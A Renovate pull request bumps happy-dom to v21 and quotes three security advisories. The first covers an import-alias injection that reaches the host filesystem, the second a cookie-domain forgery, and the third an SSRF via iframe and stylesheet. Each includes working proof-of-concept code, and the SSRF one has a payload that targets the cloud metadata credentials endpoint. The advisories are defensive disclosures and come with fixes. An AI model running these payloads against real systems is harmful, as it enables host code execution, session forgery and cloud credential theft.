chore(deps): update dependency happy-dom to v21 [security] by renovate[bot] · Pull Request #559 · TanStack/devtools

renovate · 2026-10-29T15:18:23Z

This PR contains the following updates:

Package	Change	Age	Confidence
happy-dom	`^20.0.0` → `^21.0.0`

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

CVE-2026-115895 / GHSA-834v-8h66-3h79

More information

Details

Summary

The ESM compiler in [email protected] does not validate imported local binding aliases before interpolating them into generated JavaScript.

As a result, an invalid ESM import alias can be transformed into a valid JavaScript destructuring default initializer and executed.

This appears to be an alternate injection path and incomplete remediation of GHSA-6q6h-j7hj-3r64 / CVE-2026-33943. The previous fix validates importName in the local export { ... } handler, but the named import handler still places an unvalidated alias directly into code context.

These issues were confirmed through the public Window and <script type="module"> APIs using the published happy-dom npm package. The PoC reaches the Node.js host process, obtains node:fs, and creates a proof directory on the host filesystem.

Confirmed affected versions

The PoC was directly tested against:

The same PoC does not trigger on [email protected].

The ESM compiler was introduced by commit 7bc831df2, first released in v17.0.0. The vulnerable interpolation remains present through v20.14.5, the latest release at the time of testing.

Suggested affected range:

>= 17.0.0, <= 20.14.5

No patched version is currently available.

Preconditions

JavaScript evaluation is enabled with enableJavaScriptEvaluation: true.
Attacker-controlled HTML or module source is processed by Happy DOM.
This may affect SSR, preview, scraping, or testing services that evaluate externally supplied HTML.

Technical details

In packages/happy-dom/src/module/ECMAScriptModuleCompiler.ts, the named import handler splits an import specifier and extracts its alias:

const nameParts = part.trim().split(/\s+as\s+/);
const alias = (nameParts[1] || nameParts[0]).replace(/["']/g, '');
const name = nameParts[0].replace(/["']/g, '');

if (alias && name) {
  properties.push({ name, alias });
}

Unlike the patched export { ... } handler, the value of alias is not validated as a JavaScript identifier.

It is subsequently inserted directly into generated binding syntax:

newCodeStart += `let {${properties
  .map((property) =>
    property.alias
      ? `"${property.name}": ${property.alias}`
      : property.name
  )
  .join(', ')}} = $happy_dom.imports.get('${url}')${match[8]}`;

Consider the following source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

This is invalid ECMAScript module syntax. Node.js rejects it at the = token.

Happy DOM instead transforms it into the equivalent of:

let {
  "missing": injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} = $happy_dom.imports.get('https://poc.local/dep.json');

This generated JavaScript is valid. Because the imported JSON object does not contain a missing property, the default initializer executes.

The with { type: 'json' } attribute is relevant because the compiler only generates its circular import resolver for ESM imports:

if (!match[7] || match[7] === 'esm') {
  resolvableCircularImports.push({ url, properties });
}

Using a JSON module prevents the malicious alias from being emitted again in a later circular-import assignment, leaving the generated function syntactically valid.

Backtick strings also survive the existing quote removal. This allows the injected initializer to reach Node.js host APIs:

globalThis.constructor.constructor(`return process`)()
  .getBuiltinModule(`node:fs`)
  .mkdirSync(
    globalThis.constructor.constructor(`return process`)().cwd() +
      `/HAPPY_DOM_RCE_PROOF`
  )

Proof of concept

The following PoC uses only the public Happy DOM API and performs a harmless filesystem action by creating a directory named HAPPY_DOM_RCE_PROOF.

1. Create `package.json`

{
  "name": "happy-dom-import-alias-rce-poc",
  "private": true,
  "type": "module",
  "dependencies": {
    "happy-dom": "20.14.5"
  }
}

2. Create `dep.json`

{}

3. Create `payload.mjs`

This file is used as a control to demonstrate that a native ECMAScript parser rejects the source:

import {
  missing as injected = globalThis.__HAPPY_DOM_PWNED__ = 1337
} from './dep.json' with { type: 'json' };

4. Create `poc.mjs`

import { Window } from 'happy-dom';
import { existsSync, rmSync } from 'node:fs';
import { resolve } from 'node:path';

const proofDirectory = resolve('HAPPY_DOM_RCE_PROOF');
rmSync(proofDirectory, { recursive: true, force: true });

const window = new Window({
  url: 'https://poc.local/',
  settings: {
    enableJavaScriptEvaluation: true,
    suppressCodeGenerationFromStringsWarning: true,
    fetch: {
      virtualServers: [
        {
          url: 'https://poc.local/',
          directory: process.cwd()
        }
      ]
    }
  }
});

const script = window.document.createElement('script');
script.type = 'module';

script.textContent = `
  import {
    missing as injected = globalThis.constructor.constructor(\`return process\`)()
      .getBuiltinModule(\`node:fs\`)
      .mkdirSync(
        globalThis.constructor.constructor(\`return process\`)().cwd() +
        \`/HAPPY_DOM_RCE_PROOF\`
      )
  } from './dep.json' with { type: 'json' };
`;

window.document.body.appendChild(script);
await window.happyDOM.waitUntilComplete();

if (!existsSync(proofDirectory)) {
  console.error('[-] Exploit failed: proof directory was not created.');
  console.error(
    window.happyDOM.virtualConsolePrinter.readAsString()
  );
  process.exitCode = 1;
} else {
  console.log(`[+] Host filesystem reached: ${proofDirectory}`);
}

await window.happyDOM.close();

5. Run the control test

npm install
node --check payload.mjs

Expected result:

SyntaxError: Unexpected token '='

This confirms that the source is not valid ESM.

6. Run the Happy DOM PoC

node poc.mjs

Expected result:

[+] Host filesystem reached: /path/to/HAPPY_DOM_RCE_PROOF

The existence of HAPPY_DOM_RCE_PROOF confirms that the expression injected through the import alias executed and reached the host filesystem.

The PoC was also verified inside a node:24-alpine Docker container, where it created:

/poc/HAPPY_DOM_RCE_PROOF

Impact

An attacker who can supply module source to an application that evaluates JavaScript through Happy DOM can cause syntactically invalid import declarations to be transformed into executable JavaScript.

This may bypass upstream syntax validation or application assumptions that malformed import clauses will be rejected.

The demonstrated payload reaches Node.js process and built-in modules. It can therefore be adapted to read or modify files, access environment data, or execute operating-system commands with the privileges of the Happy DOM host process.

Relationship to CVE-2026-33943

CVE-2026-33943 covers expression injection through a local export declaration:

export { attacker_expression }

Its fix added identifier validation to the importName used by the export { ... } handler:

if (
  exportName &&
  importName &&
  VALID_VARIABLE_NAME_REGEXP.test(importName)
) {
  // ...
}

This report uses a different parsing and code-generation path:

import { name as malicious_alias } from './module';

The unvalidated value is the local import alias, and the injection occurs in a generated destructuring binding rather than the export assignment patched by CVE-2026-33943.

The issue remains reproducible in versions released after the CVE-2026-33943 fix, including 20.14.5.

Suggested fix

Validate the imported local binding before placing it into code context. The existing VALID_VARIABLE_NAME_REGEXP can be reused:

- if (alias && name) {
+ if (alias && name && VALID_VARIABLE_NAME_REGEXP.test(alias)) {

A regression test should compile and execute the malicious import declaration, then verify that the initializer was not evaluated.

This change was tested locally. The focused ECMAScriptModuleCompiler test suite passes with 30 tests, and ESLint reports no errors.

For additional hardening, generated property keys should use JSON.stringify() instead of manual quote interpolation.

Verification record

Testing date: 2026-09-17
Duplicate check updated: 2026-09-20
Platform: Windows 11
Node.js: 24.14.1
Latest tested package: [email protected]
Source tag: v20.14.5
Source commit: 0d4cdbe7442af49d16b49ddf1acf7cc9684ed318
First confirmed affected version: 17.0.0
Confirmed unaffected version: 16.8.1
Docker environment: Node 24 Alpine
No matching public advisory, issue, pull request, commit, or release was found during the duplicate check.

Severity

CVSS Score: 8.8 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

CVE-2026-118661 / GHSA-5fpq-26gf-qwcr

More information

Details

Summary

A cookie-scoping bug in happy-dom lets an attacker origin set cookies that a victim origin then receives, diverging from browser semantics.

Details

happy-dom matches Domain=example.com against notexample.com (endsWith without a DNS-label boundary), diverging from browser semantics (verified 20.11.6 npm latest: cookieMatchesURL(Domain=example.com, url=http://notexample.com) = true). Relevant where happy-dom is used for SSR/prerender cookie handling. Matching in src/cookie/CookieContainer.ts.

PoC

Run:

node poc-happydom-cookie-domain.js

Full proof-of-concept source (poc-happydom-cookie-domain.js):

// PoC: happy-dom cookie-domain scoping gap -> cross-origin cookie injection / session fixation
// Chain: app (window at http://localhost:PORT2) fetches attacker server (http://127.0.0.1:PORT1)
//        -> attacker Set-Cookie with Domain=localhost (a host that is NOT a suffix of 127.0.0.1)
//        -> happy-dom stores it (a real browser rejects: RFC 6265 §5.3.6-7 + PSL)
//        -> app's same-origin fetch to http://localhost:PORT2/api/account carries the forged cookie
// Run:  cd C:/Users/rncb0/AppData/Local/Temp/0day && node poc/poc-happydom-cookie-domain.js
const http = require('http');
const { Window } = require('happy-dom');

const ATK_PORT = 19311; // attacker server, 127.0.0.1
const VIC_PORT = 19312; // victim server, localhost

let victimReceivedCookies = [];

let attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=localhost; Path=/; SameSite=None; Secure`;

const attacker = http.createServer((req, res) => {
  if (req.method === 'OPTIONS') {
    // CORS preflight (happy-dom enforces same-origin policy with a preflight; the
    // attacker trivially answers it — an attacker-controlled server always can)
    res.writeHead(204, {
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods': 'GET, OPTIONS',
      'Access-Control-Allow-Headers': '*'
    });
    res.end();
    return;
  }
  res.writeHead(200, {
    'content-type': 'image/gif',
    'Access-Control-Allow-Origin': '*',
    // Attacker claims Domain=localhost even though it is serving from 127.0.0.1.
    // A browser MUST ignore this cookie (RFC 6265: domain-attribute not a domain-match of
    // the request-host; localhost is also on the Mozilla PSL).
    'Set-Cookie': attackerSetCookie
  });
  res.end('GIF89a');
});

const victim = http.createServer((req, res) => {
  victimReceivedCookies.push({ path: req.url, cookie: req.headers['cookie'] || null });
  res.writeHead(200, { 'content-type': 'application/json' });
  res.end(JSON.stringify({ ok: true, user: 'alice' }));
});

function sleep(ms) { return new Promise((r) => setTimeout(r, ms)); }

async function runScenario(scenario) {
  victimReceivedCookies = [];
  const win = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: {
      enableJavaScriptEvaluation: true,
      suppressInsecureJavaScriptEnvironmentWarning: true
    }
  });
  try {
    if (scenario === 'no-plant-control') {
      // Control: app NEVER contacts attacker -> victim must receive NO cookie
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else if (scenario === 'honest-domain-control') {
      // Control: attacker sets Domain=127.0.0.1 (its own host, honest)
      // -> cookie must NOT leak to localhost victim
      attackerSetCookie = `session=FORGED_BY_ATTACKER; Domain=127.0.0.1; Path=/; SameSite=None; Secure`;
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    } else {
      // attack: app fetches attacker content (scraping/SSR/third-party resource)
      await win.fetch(`http://127.0.0.1:${ATK_PORT}/plant`);
      await win.fetch(`http://localhost:${VIC_PORT}/api/account`);
    }
    await sleep(150);
    return victimReceivedCookies;
  } finally {
    win.happyDOM.abort();
  }
}

async function main() {
  await new Promise((r) => attacker.listen(ATK_PORT, '127.0.0.1', r));
  await new Promise((r) => victim.listen(VIC_PORT, 'localhost', r));

  console.log('=== happy-dom cookie-domain scoping PoC ===\n');

  const attack = await runScenario('attack');
  console.log('[ATTACK] app fetched attacker (127.0.0.1) then victim (localhost)');
  attack.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));
  const forged = attack.some((e) => e.cookie && e.cookie.includes('session=FORGED_BY_ATTACKER'));
  console.log(`  -> forged cookie delivered to victim: ${forged ? 'YES (VULNERABLE)' : 'no'}`);

  const noPlant = await runScenario('no-plant-control');
  console.log('\n[CONTROL] app never contacts attacker');
  noPlant.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  const honest = await runScenario('honest-domain-control');
  console.log('\n[CONTROL] attacker sets honest Domain=127.0.0.1 only');
  honest.forEach((e) => console.log(`  victim got ${e.path}: Cookie=${JSON.stringify(e.cookie)}`));

  // unit proof: document.cookie setter also accepts non-suffix domains (browser rejects)
  const win2 = new Window({
    url: `http://localhost:${VIC_PORT}/`,
    settings: { enableJavaScriptEvaluation: true, suppressInsecureJavaScriptEnvironmentWarning: true }
  });
  win2.document.cookie = `admin=1; Domain=com; Path=/`; // PSL public suffix!
  const readBack = win2.document.cookie;
  console.log(`\n[UNIT] document.cookie = 'admin=1; Domain=com' -> read back: '${readBack}'`);
  console.log(`  -> browser: REJECTED (public suffix); happy-dom: ${readBack.includes('admin=1') ? 'ACCEPTED' : 'rejected'}`);
  win2.happyDOM.abort();

  // unit proof: endsWith boundary bug (SameSite=None cookie -> sent to any host ending with the domain)
  const { default: CookieURLUtility } = require('happy-dom/lib/cookie/urilities/CookieURLUtility.js');
  const matchesBoundary = CookieURLUtility.cookieMatchesURL(
    { key: 'k', value: 'v', originURL: new URL('http://attacker.example/'), domain: 'example.com', path: '/', secure: true, sameSite: 'None' },
    new URL('https://notexample.com/')
  );
  console.log(`\n[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = ${matchesBoundary}`);
  console.log(`  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match`);

  attacker.close();
  victim.close();
  process.exit(0);
}

main().catch((e) => { console.error(e); process.exit(1); });

Observed output (verbatim, Node 24.15.0, Windows):

[UNIT] cookieMatchesURL(Domain=example.com, SameSite=None, url=http://notexample.com) = true
  -> 'notexample.com'.endsWith('example.com') is TRUE (no DNS-label boundary); browser: no match

Impact

Cookie-scoping divergence / session forgery . Applications using happy-dom for SSR/prerender cookie handling can accept cookies from wrong origins. Affects happy-dom <= 20.14.5. Note: main pushback will be that happy-dom is a test DOM — state the SSR use case.

Severity

CVSS Score: 6.5 / 10 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

CVE-2026-118660 / GHSA-c8p4-j97h-3vg8

More information

Details

Summary

happy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing <iframe> or <link rel="stylesheet"> elements. This behavior is enabled by default (disableIframePageLoading: false, disableCSSFileLoading: false). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.

Affected Versions

happy-dom <= 20.8.9 (latest)

Vulnerable Behavior

By default, happy-dom has:

disableIframePageLoading: false — iframes fetch their src URL via real HTTP requests
disableCSSFileLoading: false — <link> stylesheets fetch their href URL via real HTTP requests

When untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.

Proof of Concept

Verified test (attacker server receives requests):

const http = require('http');
const { Window } = require('happy-dom');

// Start attacker server
const srv = http.createServer((req, res) => {
    console.log(`SSRF HIT: ${req.method} ${req.url}`);
    res.writeHead(200, {'Content-Type': 'text/html'});
    res.end('<html><body>stolen</body></html>');
});

srv.listen(9995, () => {
    // iframe SSRF — happy-dom makes a real GET request
    const win1 = new Window({ url: 'http://localhost' });
    win1.document.write('<html><body><iframe src="http://127.0.0.1:9995/iframe-ssrf"></iframe></body></html>');

    // stylesheet SSRF — happy-dom makes a real GET request
    const win2 = new Window({ url: 'http://localhost' });
    win2.document.write('<html><head><link rel="stylesheet" href="http://127.0.0.1:9995/stylesheet-ssrf"></head><body></body></html>');
});

Test output:

SSRF HIT: GET /iframe-ssrf
SSRF HIT: GET /stylesheet-ssrf

Both requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.

Cloud metadata attack scenario:

const { Window } = require('happy-dom');
const win = new Window({ url: 'http://localhost' });

// Attacker-controlled HTML triggers fetch to AWS metadata endpoint
win.document.write('<html><body><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/"></iframe></body></html>');

Impact

Cloud credential theft — <iframe src="http://169.254.169.254/..."> fetches AWS/GCP/Azure metadata
Internal network scanning — probe internal services and ports
Data exfiltration — read responses from internal APIs
Affects any server-side use case — web scraping, email HTML rendering, SSR, testing with external HTML input

Suggested Fix

Change defaults to disable external resource loading:

disableIframePageLoading: true,  // change from false
disableCSSFileLoading: true,     // change from false

Or add URL validation to block private IP ranges and cloud metadata endpoints before fetching.

Severity

CVSS Score: 8.6 / 10 (High)
Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).

Release Notes

capricorn86/happy-dom (happy-dom)

Conversation

renovate Bot commented Oct 29, 2026

Happy DOM: Incomplete fix for CVE-2026-33943: unsanitized import alias leads to host code execution

Details

Summary

Confirmed affected versions

Preconditions

Technical details

Proof of concept

1. Create package.json

2. Create dep.json

3. Create payload.mjs

4. Create poc.mjs

5. Run the control test

6. Run the Happy DOM PoC

Impact

Relationship to CVE-2026-33943

Suggested fix

Verification record

Severity

References

Happy DOM has cookie scope forgery: no DNS-label boundary on Domain= matching , attacker origin sets victim cookies

Details

Summary

Details

PoC

Impact

Severity

References

Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML

Details

Summary

Affected Versions

Vulnerable Behavior

Proof of Concept

Verified test (attacker server receives requests):

Cloud metadata attack scenario:

Impact

Suggested Fix

Severity

References

Release Notes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

💣 Breaking Changes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

🎨 Features

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

👷‍♂️ Patch fixes

1. Create `package.json`

2. Create `dep.json`

3. Create `payload.mjs`

4. Create `poc.mjs`